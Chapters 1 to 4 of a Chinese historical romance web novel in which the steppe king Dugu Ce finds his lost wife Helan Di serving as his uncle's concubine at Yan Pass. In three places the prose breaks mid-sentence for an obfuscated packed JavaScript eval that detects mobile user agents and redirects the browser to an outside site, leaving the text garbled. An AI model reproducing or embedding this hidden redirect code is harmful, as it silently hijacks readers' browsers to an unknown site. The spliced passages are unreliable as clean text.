《琵琶弦上》 1. 一、惊蛰日 独孤策再次见到贺兰荻,是在大魏正平十六年的惊蛰日。在此之前,他从未想过还会再见到她,还是这样的场合之下。 他已经有太久没听到她的消息了,甚至已经说服了自己,不再念起她。他的人生里遇过太多的挫折,她不过是其中很小的一部分。 …… 分明已是春日,但塞上积雪未消,刺骨的寒风透过枯树的枝丫,发出呜呜咽咽的悲鸣。漫长的冬天似乎就要结束,可却不知春会在哪一天到来。 燕关重地,崇山峻岭为屏障,隔绝着中原和边塞,百年间阻挡着草原铁蹄南下,如今却已落在他手。 这是他称王的底气。 连素有正统之名的大魏也不得不承认他的身份,遣使送上册宝,遥封他为车骑将军、都督燕、金二州诸军事、领燕州牧。 不过是让他掣肘大晋的手段罢了,他虽不屑,却也乐于接受。 一行人马昼夜不歇地疾驰,才终于如约赶到了这里,纵然都是草原上最骁勇的汉子,脸上也显露出疲惫之色。 独孤策执起马鞭,指了指远处隐约可见的关隘,对身边人道:“这便是燕关了,可算得上雄伟奇险?” 他的汉话说得极好,也并未如随从一般披散着发,乍一看竟有几分中原郎君的样子,可是那过于深邃俊美的五官,过于桀骜凌厉的气质,却将他的异族身份暴露无遗。 “咱们已有燕关,拿下岳州指日可待,直接往南打就是了,何必要与那慕容桓讲和,娶他家的公主。如此,大王竟成了他的女婿了……”说话的人身长八尺,壮硕非常,一张赤红的脸上写满不忿。 “乞干将军勇武超群,谁人不知,”身后有人笑道,“不过事情换个温和的方式解决,不是更好吗?” 说话之人叫赵雍,他身量瘦小,颀面长须,开口前习惯性地眯了眯眼睛,笑得很是儒雅。 “先生说得轻巧,难道拿下岳州,靠娶个公主就行?”乞干昌一向不服赵雍,他一个连马背都爬不上去的汉人,凭什么让大王敬若上宾。 赵雍不恼,只是道:“将军急什么,跟着大王还怕没有胜仗打么。” “乞干昌,下次征战,孤定让你为前锋,可好?”独孤策仰首望着天上浮动变幻的云气,笑道。 乞干昌挑衅地看着赵雍,刚准备欣然答应,就听到独孤策的声音沉沉压来:“不过这一次,收起你的傲气,谨慎行事,若是惹出什么事,本王可不会姑息。” 这话不可谓不重,却非对乞干昌一人,而是对所有人说的。 “遵命!”身后之人纷纷敛起了脸上嬉笑的神色,齐声道。 三个月前,晋帝慕容桓忽然听从丞相崔凭的建议,遣使而来,要将小女儿清河公主嫁给他。 慕容桓一向傲慢,这次…… 独孤策嘲讽地弯了弯唇角。晋魏鹬蚌相争,该他渔翁得利了,为了能一举吞并宇文部,扫除草原上最后一个敌人,他必须促成这样的“和睦”。 “区区岳州……”独孤策一哂,望着远处高大坚固的城池,微眯双眸,看不出情绪。大好江山,慕容家可以入主中原,他独孤策迟早也能踏平所有阻隔,挥师南下,取而代之。 “乐陵公将此城池守得很是坚固啊!”赵雍望着越来越近的城池,慨叹道。 “我这个六叔,的确才能出众……”独孤策叹道,声音不大,听不出情绪。 赵雍不置可否的笑了笑,又换了另一个话题。 “一个月前,乞伏那归率领残部逃往关内,听说乐陵公并未阻拦。”赵雍低声道。 “哦?”独孤策挑眉。 “晋主已经下旨,将乞伏残部安置在洛城。” 乞伏部与他有杀父旧仇,他好容易挥兵诛灭,怎会允许贼首逃脱。斩草不除根,遗祸无穷,这个道理三岁孩童都知道。 也不知六叔是如何想的,总不至于首鼠两端,还想着讨好晋帝吧。 “听说乞伏那归献了几个绝色女子给乐陵公,乐陵公只留了一个,其余的都遣散了。”赵雍又补充了这么一句。 “美人?”独孤策看了赵雍一眼,不由笑了起来,“乐陵公清高的很,还从未听说他会为了美色动心。你这么一说,孤倒是好奇了,是什么样的美人,竟然能将他迷惑的什么都不顾了。” 话是这么说的,但心里却不大信。与其相信他独孤宗绪是为了美人放了乞伏那归,倒不如想想他是否藏着别的图谋。 独孤策多疑,尤其是在经历过那么多事后。 当年他父汗刚刚过世,四叔独孤炜就勾结几个叛将趁机作乱,逼得他不得不逃亡到贺兰部避难。莫说一路上九死一生,就算到了贺兰部,他仍然要应付一波又一波的刺杀,那一年他连睡觉都不敢合眼。 后来好容易在六叔独孤宗绪和老将尉迟光的拥立下顺利继位,叛乱仍未停歇,那一双双野心勃勃的眼睛,看着他时,就像在看无力自保的羔羊,恨不得将他撕个粉碎。周边部落亦欺辱他年幼,时有攻伐,夺物掠地,一日未休。 阿母给了他一把刀,她说:“刀若是不敢刺到别人的胸口,那就刺到自己的胸口,宁死也不要受辱。” 他就拿着那把刀,从身边的叛乱者开始,一点点厮杀到了现在,不曾停歇。 忽然听到身旁有将领揶揄道:“乞伏部哪里来得美女,还不是从别的部族抢的,听说去岁灭贺兰部时就抢了不少,贺兰多美人,可便宜那些狗东西了。” 赵雍注意到,打马走在前面的独孤策闻听此言,身形陡然僵了一下。 他依稀记得,当初可汗也曾流落于贺兰部,还在那里娶过妻。 五年了……原来已经过去了那么久。 不过是一个已经被吞并的小部落罢了,何况那里还见证着他最落魄,最不想被人提起的旧时光阴。 至于那个女人…… 那时她年岁尚小,却已有倾城之姿,可惜是个哑巴,还是个满身都是刺的哑巴。她太过无心,他也淡了心思,与其说是夫妻,不如说是捆绑在一起的陌生人。 阿荻……这是她的名字,他听贺兰越好像是这样叫她的。 “这似乎是个汉名?到底是什么意思?”他有一次忽然心血来潮,问赵雍道。赵雍虽然不知他为何会想起问这个,却也如实回答:“这是一种草,水边和田地旁多有生长,如翼入梳,风吹起来甚是漂亮。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546666|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “芦苇?”独孤策哂然,不明白怎么会有人给女儿取这样一个名字。 赵雍博闻广记,听闻此言摇了摇头:“与芦苇相似,却也不同,这种草心性坚韧,十分耐活。方才主公说有人以此为名,想来也是取其坚韧不拔之意。” 坚韧么?似乎没有看出来,只是依稀记得她十分纤弱,可不就像苇草一般…… 罢了,何必想起这些。如今她是死是活都不知,就算自己心里留有一丝不甘和愧疚,毕竟覆水难收……他们此生或许再也不会见,她对自己是爱也好,恨也罢,都没有什么意义。 “先生对中原之事颇熟悉,不知对这次送亲之人,可了解?”独孤策将自己从回忆中抽离出来,平复着心情,问道。 “此次送亲之人,是晋帝的四子陈留王慕容泠。听说此人雅好文学,喜欢与汉人名士结交,生母位卑,不喜争抢,除此之外再无其他特别之处……”赵雍缓声说道。 “并无特别之处……”独孤策沉吟,“这么说此人并未参与到储位争斗中去?” 慕容桓膝下有六子,长子慕容泓为元妃段氏所生,但段妃早逝,母族段部也已衰亡,所以慕容桓即位后并未将其立为太子,只封了个渤海王。次子慕容沛只比慕容泓小两岁,生母刘氏,是前朝哀帝的小女儿,听闻此子颇有才干,支持者甚众。 两个年长已有水火不容之势,那些年少的也不甘示弱,可慕容桓似乎并未想要解决此事。 “洛阳传来消息,慕容桓近来颇宠爱一个南地女子,甚至放言此女若生子,当立为储君。”赵雍说起这个,自己都忍不住露出一个古怪的笑容。 “慕容桓不是昏聩之君,说这个话,不过是试探罢了。不放些饵料,鱼怎么可能露头。” “难道谁会因为宠爱一个女人,就把国本都视为儿戏?”独孤策冷冰冰地说道。 赵雍以为然,附和的点了点头。 “咱们且去会一会这位陈留王,也看看大晋朝廷对于此次联姻到底是何态度。宇文部兵强马壮,大战在即,我们不能掉以轻心。” “孤不希望节外生枝,进关之后,都收敛些,谁敢惹事生非,定斩不饶。”独孤策转身,对跟从的众人道。 众人纷纷俯首,朗声应诺。 轻骑很快卷起了阵阵尘埃,在昏黄未散的夕阳下,向着雄伟奇险的燕关进发。城池之上,一人负手而立,看着如蚁群般徐徐压过来的人马,面色平静如水,唯有那双浅褐色的眸子,藏着些旁人看不懂的情绪。 “将军,这处风大,回去吧。”女子的声音娇柔地响起,大概因为寒风侵袭,微微有些发抖。 “你先回去,大王到了,我得亲自去迎。”男子回头,为女子理了理兜帽,手缠绵地停在她被吹乱的额发上,“近日事务繁杂,你安心待在后院,无事不要来找我。” 女子望了眼城下,莞尔垂眸,温顺道:“妾听将军的。” 一阵朔风刮过,她瑟缩了一下,抬眸时眼里蕴着水一样柔情:“将军近来脾胃不好,记得少饮些酒。” 走了没几步,又依依回头,见他也在看着自己,脸上蕴起一抹羞涩的笑意,然后袅袅离开。 2. 二、琵琶声 独孤策入城时,见独孤宗绪已经摆好排场,早早迎候在了城门处。 一身青衣,清颜如玉,仿佛是汉人笔下的水墨画。他不过比自己略长几岁,气韵却沉淀的像是经历世事的长者,锋芒尽敛,只余从容。 “怎敢劳六叔在此久候,是我失礼了。”独孤策下马,笑着与独孤宗绪见礼。 “大王何须客气,一路辛苦,还请入城吧。”他礼数周全,说话亦如过去,谦逊又温和。 燕关虽险,到底是边陲小城,又屡遭战乱,不仅不繁荣,反而有些破败。独孤宗绪来此镇守后,整肃吏治,约束军队,安抚百姓,这里才依稀有了些烟火之气。 “公主和送亲使团昨日便到了,臣暂时将她安置在了太守府中。”独孤宗绪一面领路,一面说道,眉目中带着一些踌躇。 馆驿破旧,宅院损毁,原来的燕关太守府已经算得上是此间最能拿得出手的所在。 “只是大王……” 独孤策来此迎亲,并未提前知会过他,所以独孤宗绪有些为难。 独孤策猜出他想说什么,摆了摆手,笑道:“六叔何须为难,我可从没有那么多讲究,这些人马你看着安置,城外搭帐篷也不是不行。至于我……咱们叔侄也许久没有畅饮叙旧了,我少不了在你府上叨扰几日。” “那便只能委屈大王了,”独孤宗绪想了想,道,“不如臣将太守府辟为东西两半,公主带来的人在西院,大王暂住东院,这样也不失礼数。” “六叔越来越像汉人了,这一口一个礼数,倒显得侄儿成了无礼之人了。”独孤策朗声一笑,身后的人也跟着笑了起来。 “六叔看着安排就是,只是免不了要惊扰你的眷属。”说这句话时,独孤策不由想起了赵雍说起的那个美人。 不知独孤宗绪会将美人藏在哪里…… 独孤宗绪的后宅一向简单。早年由兄长做主,娶妻宇文氏,不过一年光景,宇文氏就病死了。之后他再未娶妻,连别人送上门的妾侍也拒不接纳,再后来干脆离了抚远城,常年带兵在外。 想来也是孤独,不然如何会接受乞伏那归的相赠。 …… 众人安置好时,夜色已笼罩了整个孤城。 “燕关苦寒,招待不周,诸位见谅。”宴席之上,独孤宗绪执起盏,对座中宾客道。 代王亲自迎亲,这面子给得不可谓不足,所以对面那些送亲使的脸上都带着骄矜的笑意。 一时有人应和,笑道:“莫说乐陵公不适应,就连末将这般皮糙肉厚之人,也受不了这里的气候。” “洛城地气和暖,这个时节早就繁花盛开了,哪里似这里,这都几月了,雪还下个没完没了。”又有人说道。 独孤策看着面前的金盏,微不可查地笑了笑。慕容家入主中原才几年,竟自得成这个样子,他们怕是忘了自己的老家比燕关还要苦寒百倍吧。 一杯酒还未饮完,对面已经有人按捺不住,对独孤策道:“今日甫见大王,有些事原本不该提,但陛下信重臣下,让下臣肩负着北境安定之责,下臣也只有硬着头皮一提了……” 说话之人肤色白皙,身量微丰,看着像个面团。 “阁下是……”独孤策端坐在上首,意态悠闲。洗净尘霜后,他换上了一袭绛色的衣袍,这样鲜焕的颜色衬得他越发俊美,灼灼若朝霞举。 当真人中龙凤,不可等闲视之。 那人噎了一下,讷讷道:“下臣乃大晋侍中张序之。” 官职不小,皇帝心腹,难怪这般张狂。 独孤策知道他想说什么,微微一笑,示意他继续。 张序之见此,声音稍缓,道:“听说大王与乞伏可汗有些龃龉,今日正好,听闻乞伏可汗就在此处,大王看看在下是否有薄面,能帮二位解除误会。” 单刀直入,举重若轻,这招倒是让人猝不及防。如此摆在台面上说,自己答应也得答应,不答应也不行,不然就是违背盟约了。 看来此人并非肤浅之徒,心机城府不可小觑。 独孤策笑了笑,没有说话,只是将杯中酒饮了干净。 坐在下首战战兢兢的乞伏那归却是按捺不住了,直接放下了手中的酒杯,惶惶然跪了下来,哀声道:“我部族已经只剩些老弱妇孺,还请大王高抬贵手,放我一马吧。过去种种皆是旧仇,我愿将河曲之地尽数奉上,此后再不踏足关外半步。” 独孤策望着这张粗犷又丑陋的脸,脑海中全是过往所受的逼迫和欺凌,自然也想到了贺兰山下的那些堆积如山的白骨。 乞伏部一日不灭,他便一日不会罢休。不过来日方长,何必要在这个时候给别人留了把柄。 “乞伏可汗说得哪里话,如今乞伏部有大晋庇佑,自然无忧,难道孤还会打到关内寻仇?至于河曲之地……那本就是我独孤部的地盘。当年可汗勾结我族中逆臣将其夺走,说什么奉上,不过是物归原主罢了。”独孤策一字一句,缓声道。 他生着一双亮如星辰的眼眸,就那样淡淡地扫过去,对方立时噤若寒蝉,惶惶不安起来。 独孤策没有再看乞伏那归依言,转头对着张序之,弯了弯唇角:“既然两家结亲,孤总得有些诚意,放心,孤今后定不会干涉乞伏部半分。” 张序之很满意独孤策的态度,哈哈笑道:“大王果然是豪爽之人,既如此,下臣也会尽快将此事上奏陛下。陛下若知可汗如此诚意,定然欢喜万分。” 目的达到,张序之很是满足,洋洋得意的举起了酒杯,对着独孤策相敬。 独孤策却举起酒杯,对独孤宗绪道:“此事乃乐陵公一力促成,侍中该感谢的人,是你啊!” 独孤宗绪的脸色有些不好看,沉了沉气,浮上一抹尴尬的笑。 “起乐舞吧。”他吩咐道。 立时,香风轻送,月下,乐伎翩然而至。 泠泠淙淙的琵琶声乍然而起,奏得虽是塞外人人都听过的调子,但是技法娴熟,情意缠绵,听得众人皆是一愣,甚至忘了去看场上那般曼妙的舞姿。 “早听人说塞外琵琶断人肠,今日听来确然如此。”张序之懒洋洋地说道,“听着应是绝色美人妙手而就。” 这句话引得大家遐想无限,下意识就顺着琵琶声去寻找那隐匿在暗处的绝色佳人。 果然,灯火阑珊处,一道绰约的影子落在帘幕之上,螓首低垂,姿态柔婉,独妙手翻转跃动,赋予琵琶弦无穷无尽的勾魂之力。 “这算什么佳人!”乞伏那归忽然开口,“乐陵公新得的美人,那才是绝色,琵琶弹得更是一绝。” “便是可汗献给明公的那一位?”张序之身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546667|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边一个络腮胡子宽脸盘的男子问道,一双眼睛却落在帘后女子身上,几乎一错不错。 独孤宗绪却未看向那边,只是持盏,笑得含蓄:“乞伏将军一片心意,着实不好推辞,故而留下一个陪伴左右。” “只留一个……那该是何等艳绝!”有人说道。 乞伏那归献了那么多美人,他却只纳了一个,固然有彰显他清高不重女色的意思,但另一层不也说明此女有殊色,姿容更胜于旁人许多么。 “乞伏可汗有心,也不知是何等姝色,才能引叔父一顾。”独孤策也跟着笑道。他似乎饮了不少,酒气慢慢晕上了双眸,看着比方才昳丽了许多。 乞伏那归见提到了他,忙战战兢兢地回应道:“乐陵公眼光实在出众!此女虽号称是贺兰部第一美人,却并非出自贺兰部,而是北上避祸的汉人。贺兰越见她生得美貌,以为奇货可居,特地将她收养在身边,认为义女。后来贺兰部败亡,她便归于我乞伏部。” 说这些话时,独孤策觉得乞伏那归那双肿胀的小眼睛一直有意无意地看自己,这让他很不舒服。 贺兰部第一美人……独孤策忍不住想起那个女子。 当年隔着篝火遥遥一望,不过一个侧脸,就让他失魂了刹那。草原上有许多美人,有的艳丽,有的高洁,但她却如芳草上坠着的露珠,云销雨霁后的彩虹,美得不可捉摸。 “既然美人难得,乞伏将军就没有想过据为己有?”有人揶揄。 草原并无那么多讲究,美貌的女子抢过来便是,辗转在各部落的人又不是没有,何况如此绝色。 说这句话的人明显不怀好意,但乞伏那归却早有准备,他窥着独孤策的脸色,缓声道:“说来也奇,当时寻到此女时,就看见她身边群狼环绕,等闲无法近身。后来好容易带她离开,那狼群却像是缠住了我们一般,日夜袭扰。我无奈之下,找了大巫帮她相面,大巫只望了她一眼便惊骇不已……” 说到这里,乞伏那归顿了顿,肥肉横生的脸上露出一个幽微的神色。 众人被吊足了胃口,纷纷竖起耳朵等着他接下来的话,没人注意到独孤宗绪越来越难看的脸色。 “大巫说她身负天命,贵不可言。” 这句话一出,众人面面相觑,后又不自觉地将目光落到了独孤宗绪身上。 独孤宗绪的笑意凝固,一张脸在烛火中半明半昧。 贵不可言……他一个臣属,究竟有多少胆子让自己身边的女人身负这样的谶语。 也不知这人是谁指使乞伏那归说出这样的话。 独孤宗绪不安地看向独孤策,但对方却依旧言笑晏晏,似乎并不将这些话放在心上。 “一个孤苦无靠的婢妾,如何能有这样的命数。可见如今世道太乱,让那些胡言乱语的人钻了空子,什么都敢乱说。乐陵公,若是孤手下有人如此妖言惑众,孤定然会就地诛杀,以免乱了人心。”一个声音朗然响起。 众人回头,一身紫衣的年轻男子姗姗而来,烛火掩住了他的眉眼,依稀窥见几分清贵之气。 他走向独孤宗绪,看样子与他十分熟稔亲近。独孤策侧目,仔细端详起来人。 气度端雅,年少俊美,对面的晋人纷纷见礼,来人只能是此次送亲使陈留王慕容泠。都说慕容氏多美男子,确实名不虚传。 3. 三、旧时曲 “孤只是听不得这些怪力乱神之语,若真是绝色,留在后宅宠宠也倒罢了,还会掀起什么风浪?” 他一说,立刻就有人附和:“区区一个贱婢,不过是供人消遣的玩意儿,还做什么攀龙附凤的梦,可见那巫祝胡言乱语,该杀!” “的确如此,贺兰部早就没几个人了,留个女子还想翻天不成。”又有人道,话说得十分狠厉。 独孤策眉头微不可查的皱了皱。 “既然她琵琶弹得好,六叔不如请她出来,为大家弹奏一曲吧。”半晌后,独孤策忽然说道。 独孤宗绪显然有些为难,委婉的拒绝:“她性子腼腆,难登大雅之堂,还是不要出来扫大家的兴了。” “不过是演奏一曲,隔着帘幕便是,六叔何须为难。”独孤策坚持道,他虽然在笑,声音里却透出几分凉意。 一时又有人附和,倒让独孤宗绪骑虎难下。无奈之下,低声吩咐身边人几句,脸上的笑容微微发僵。 …… 月过中天,烛火昏暗,有几个人已经饮醉,东倒西歪地横在座位上,还有一些人却清明非常,目光注视在那朦胧飘逸的帘幕之后。 隔了很久很久,一抹绰约的影子终于出现,隔着帘幕,便如雾里看花,留给了众人无限的想象。 琵琶声起,奏得却并非草原之音。 “南音哀婉,牵动情肠……”不远处的慕容泠已停下了手中的箸,凝神听着弦音,缓缓说道。 他不过出于欣赏,沉浸在曲调之中,真正愣住的人,却是独孤策。 “忆郎郎不至,仰首望飞鸿……”他不自觉地吟了出来,声音不大,但帘后之人却分明听到了。 琵琶声滞涩一下,暴露了演奏者此时纷乱的内心。可那样的失态也不过是刹那,她娴熟地技巧已经巧妙地遮掩了心绪的短暂起伏,乐声仍旧曼妙,只是映着苍然的月色,听着有些寂寥。 这个曲子,他听过的。 独孤策努力地从回忆中找寻着线索,莫名地想起了那个单薄倔强的女郎,她从未在自己面前弹过琵琶,只某一日晚归时,他隐约听到过这样的乐声。婉转幽怨的乐声勾起了他的愁绪,他站在帐外,一直将整首曲子听完,才姗姗入帐。 后来他辗转才知道了这个曲子的名字。 他们之间,其实很陌生。 “代王可有心事?”慕容泠的声音款款响起,听着分外和气,“都说代王颇通音律,莫不是此曲过于哀婉,牵动了代王的情思?” 独孤策摇头,敛起面上的一抹寂寥之色,回道:“孤是个粗人,哪里懂这些。不过是想起了几句故人念过的诗,觉得应景罢了。” 弦音又是一紧,分明是诉情之乐,却隐隐有忧愤之声。 独孤策又睨了帘后一眼。 恰在此时,一阵风吹拂过庭中,寂然掀起了帘幕一角。帘后的人也恰在此时微抬起双眸,秋水盈盈一盼,如雾气般蒙蒙地落在独孤策身上。 不过刹那,那似愁似怨的目光便随着款款落下的帘幕消散无踪,了无痕迹。仿佛那不过是他的一个错觉而已。 可他却将那张脸看的分外清楚……那样清楚,包括她颊边那一行泪…… 独孤策的心像是被什么东西挠了一下,浅浅的疼,微微的痒,还有无边的惆怅。 他以为自己忘得干净…… 他执起手中的酒盏,仰头喝了个干净,可是那双眸子却像是烙印在心底一般,越是想要忽略就越是无法忽略。 “代王的故人,想必极有才情。”慕容泠和着琵琶的旋律,轻轻敲着几案。 “或许吧。”独孤策苦笑,并没有打算继续这个话题。 往事难回首,她不过是故人……只是故人罢了。 他未再看那个方向一眼,只是冷冷地握着杯盏,脸上看不出任何破绽。 这一曲还是太长,当最后一个音符的余韵袅袅散在寂静的空气之中,独孤宗绪终于忍不住,对帘幕之后的女子扬声道, “阿荻,你且退下吧。” 那女子听闻此言,按住了弦,起身盈盈而拜,然后消失在了灯火阑珊之处。 春寒乍起,朔风凌冽,杯盏中的酒凉的难以入口,独孤策放下了手中的酒,抬头看了眼天上高悬的月。 新月如钩,像极了当年他初到贺兰部时见到的那一弯。 …… 贺兰荻也不知道自己为什么会落泪,她一度以为自己不会哭。 他说得对,不过是个故人罢了。 她抱着琵琶往后院走去,面色很不好看,纵然敷了厚厚的胭脂,仍遮掩不住此时的苍白。金灿灿的步摇钗随着她略有凌乱的脚步仓促地晃,打在脸上冰凉凉的疼。 “娘子,您走慢些,等等奴。”身后的侍女急趋了数步,仍跟不上她的脚步。 终于,走到了湖边的凉亭处,贺兰荻才停了脚步,将琵琶递到了侍女手中,吩咐道:“槐序,我有些冷,你去给我取个手炉吧。” 槐序见她已经恹恹地靠坐在了亭中,怔然望着远处,不再言语。急忙应了一声,跑回了后院。 贺兰荻坐了片刻,就听到身后响起了一阵脚步声,但先于脚步声而来的是熏人的酒气。她皱着眉,用帕子掩了掩琼鼻,嫌恶地睨着来人。 “方才你也听到了,我按吩咐一字不差地都说了。”乞伏那归靠近几步,用那双酒色熏染地浑浊的眼睛盯着贺兰荻。 贺兰荻厌恶这样的目光,向后退了几步道:“可汗用几句话换一个活命的机会,不亏吧。” 天命……这两个字放在这样的乱世,谁不喜欢?人人都以为自己会是天下的主宰,甚至还有人认为自己可以结束这样的乱局,独孤宗绪又怎会例外。既然大巫确实说了这样的话,她不认为有遮掩的必要。 天命在身有什么错,她需要活下去,风风光光的活下去。 “今日你又见到了你的那位独孤郎,怎么样,他是否对你余情未了……”乞伏那归笑着讥讽道。 贺兰皱眉,语气厌恶:“这与可汗有什么关系?可汗若是不想死,最好还是乖乖听话,莫要惹我……” 她的音色很娇柔,话却说得冷酷尖刻:“你不会真以为独孤策会放过你吧,他那个人最是桀骜不驯,想做的事谁都拦不住。可汗还是小心些,若是惹恼了我,就没人帮你了。” 说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546668|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一句,她莲步轻移,香风未散,人已经消失在了回廊的尽头。 “不过是个恃宠而骄的贱人,”乞伏那归恨恨地想,“等到事成,定会将你等全部诛杀,一个不留!” 然而现在他却不能轻举妄动。这女人邪门得很,谁知道会生出什么事端。 他的这些心思,贺兰荻如何不清楚,不过她才不在乎。这个人手上沾着太多血,便是万死也难赎罪。她今日不过是利用他,在今日所有人的心中埋下一个种子,待那些不可言说的野心和欲望破土而出时,这些谶言就会是她安身立命最好的筹码。 “这样的人留着只会坏事,为何不杀了他。”一个身影隐在树影中,看不清楚轮廓,声音依稀听出是个女子。 贺兰用手拢了拢身上的大氅,笑意寒凉:“他还有用,杀了做什么。” 说罢,觑了一眼树下,声音很娇气:“环夫人,你一天总是喊打喊杀的,吓着我了。” 树影后的人没有说话。 片刻后树枝微颤,几片枯叶坠落在眼前,再看那处,哪里还有人的影子。 贺兰脸色稍霁,忍不住弯了弯唇角。 死……太过容易了,宛城一战死了数万人,整个城池便如人间炼狱一般,碧血连天,白骨参地……她踏着尸山血海一路北上,官道两边全是死人,连树皮都斑驳的不成样子, 都说未知生,焉知死,偏她先感知的是死亡。 她可是发过誓的,她要活得比谁都好。 …… 独孤宗绪今晚饮了些酒,熏然微醉,略觉头痛。 小仆墨竹跟随他日久,最是了解他的脾气,看着他从容应对完所有人后,才扶着他回了后宅。 “主公可有不适,是否需要请医者前来?”墨竹看到宗绪脸色苍白,脚步有些浮,不禁问道。 宗绪摇头说无妨,又道:“吩咐人备水,我要沐浴。” 他一直有些矜贵的习惯,哪怕一向厌恶奢靡,饮食起居也很有些讲究。譬如他每日睡前必要沐浴,饮酒后更是如此。譬如他见客的外袍一定要拿青木香细细地熏一遍,贴身衣物却不能有香气沾染。 他不喜欢外人近身,所以这些一直都是墨竹亲自操持。 可是今日却似乎有所不同。 宗绪踏入内室后,嗅到一丝浅浅的香气,非兰非麝,清幽渺远。他不由抬起头,不出意外在帘幕的后面,隐隐窥到一抹绰约的影子。 他刻意放缓了脚步,带着并不算喜悦的心情,向前走去。 果然,碧色的帐幔被掀开,便是一张芙蓉濯露的脸。 很美的女人,美得娇艳欲滴,美得咄咄逼人,在这初春料峭的塞上孤城,仿佛唤醒了满城的春花。 她半垂着眼睛,做出柔顺的样子,可是倔强挺直的脊背和脖颈,却让她显得别扭又倔强。 宗绪没有更多举动,只是沉沉看着她,观察的十分仔细。他承认,有些人就是能凭着一张脸,让人有探究她的兴趣。 “将军……”她见来人不言不语,干脆抬起头,柔柔地叫了一声,脸上带着极有分寸的微笑。 寻常的称呼,偏她说出来就婉媚的厉害…… 4. 四、月朦胧 “我并未唤你过来。”独孤宗绪微微俯身,迎上她的眸光,也露出一个与她一样矜持的笑。 这句话说得不大客气,尤其对于一个自负美貌的女子。貌美之人恃宠而骄是常态,他并不认为眼前之人有什么例外。 然而她的脸上并未露出羞愤之色,她只是眨了眨眼,关切道:“将军今日饮了许多酒,是心情不好吗?” 独孤宗绪并不喜欢被人看穿心事,侧过脸去,轻轻咳了一下。 “故人见面,多饮了几杯……” 他沉吟了片刻,状若无意地说道:“你今日的琵琶弹得那般婉转多情,连我听了都柔肠百结……是否也是因为故人相见?” 他的手缠绵地落在她的脸上,一寸一寸滑过她花瓣一样的脸颊,好像在看一个精妙无双的画。 她没有闪躲,扬起脸,任她的小脸落在他的股掌之间。 她笑得狡黠:“将军是醋了么?” 宗绪滞了一下,尚未回答,她的手已经覆在了他的手上,一个吻轻轻滑过他的掌心。 又酥又麻。 “我爱慕之人,唯有将军。若将军拿陈年往事为难我,那便是将军小气了。”她用侧颊蹭了蹭他的手,像极了一只讨人喜欢的小兽。 方才还端的像个精致的木偶,这一句出来便是鲜活的人间绝色。 独孤宗绪忍不住轻轻吻上了她的额,然后唇慢慢滑落在她水雾蒙蒙的眼上。 她缩了一下,忍不住将其紧紧阖上。 “真奇怪,当初他怎么舍得将你抛下?”像是在问,却更像是在感慨。 听到这句话,她的眼皮抖了抖。 她没回答,独孤宗绪也并没有为难她,手又停在了她的发上。她的发柔软地垂下,没有一点发饰,越发衬得她楚楚可怜。 “不喜欢我提这些旧事,那便不提了。”他轻声道。 可不知为什么,他控制不住地好奇。他好奇他们的一切,包括当初的相见,包括后来的分离。 “将军就是将军,不是别人……”她抬起一双大眼睛看着独孤宗绪时,无辜地厉害,“我也只是贺兰荻,和别人有什么关系呢。” 倒是个有趣的回答。 “对,你还是天命之女,谁敢违拗。”独孤宗绪仍在笑,眉眼尽是温和之色,好像只是在打趣她。 这次贺兰却没有装傻,她皱着眉,似乎在很认真思考着独孤宗绪的话。她的目光逡巡在人的脸上,仿佛一把小刷子,刷的人心头微微发痒。 “这件事我从未对人说过,将军如何得知?”她带着几分严肃,似乎很厌恶这个话题。 “不过是疯婆子的胡言乱语,将军莫要再说,若是被人听到,或许会招来灾祸。”她一字一句,认真说道。情急之时,伸手捂住了他的唇。 独孤宗绪目色深深,轻轻挪开了她的手。 “阿荻不喜欢这个谶语?” 贺兰瞬了瞬眼眸,忽然垂下了头,声音低低的,带着几分伤感。 “若它有用,我何至于流离多年,受尽苦楚。若它无用,说出来也不过是招惹流言。将军是英雄,自是不怕,可我不想因为自己的缘故,让你受侵扰……” 听过很多奉承话,她说得不算高明,可是透着真诚,让独孤宗绪很受用。 “当真这般想?”宗绪挥手示意所有人退下,然后笑着坐在了床榻的一侧。 她点头,想了想,又道:“遇到将军前,总觉得那谶语可笑,可是一见将军,又觉得或许那大巫说得有些道理。妾或许没有天命,但将军能得天命也未可知……” 独孤宗绪听闻此言,倏然变色,仿佛一道雷劈中了要害,刺激地浑身的汗毛都倒竖起来。忽冷忽热,一种不可言说的感觉刺破皮肤,直往心的深出钻去。 他半晌才找到自己的声音:“阿荻,不可胡言。” 始作俑者似乎并不知自己做了什么,只是慢慢伸出手,抓住了他的衣袂。独孤宗绪没有躲,于是她得寸进尺地顺着他的衣袂往上,柔软的触感,却如吐着信子的蛇,一点点纠缠起他藏在心中的欲望。 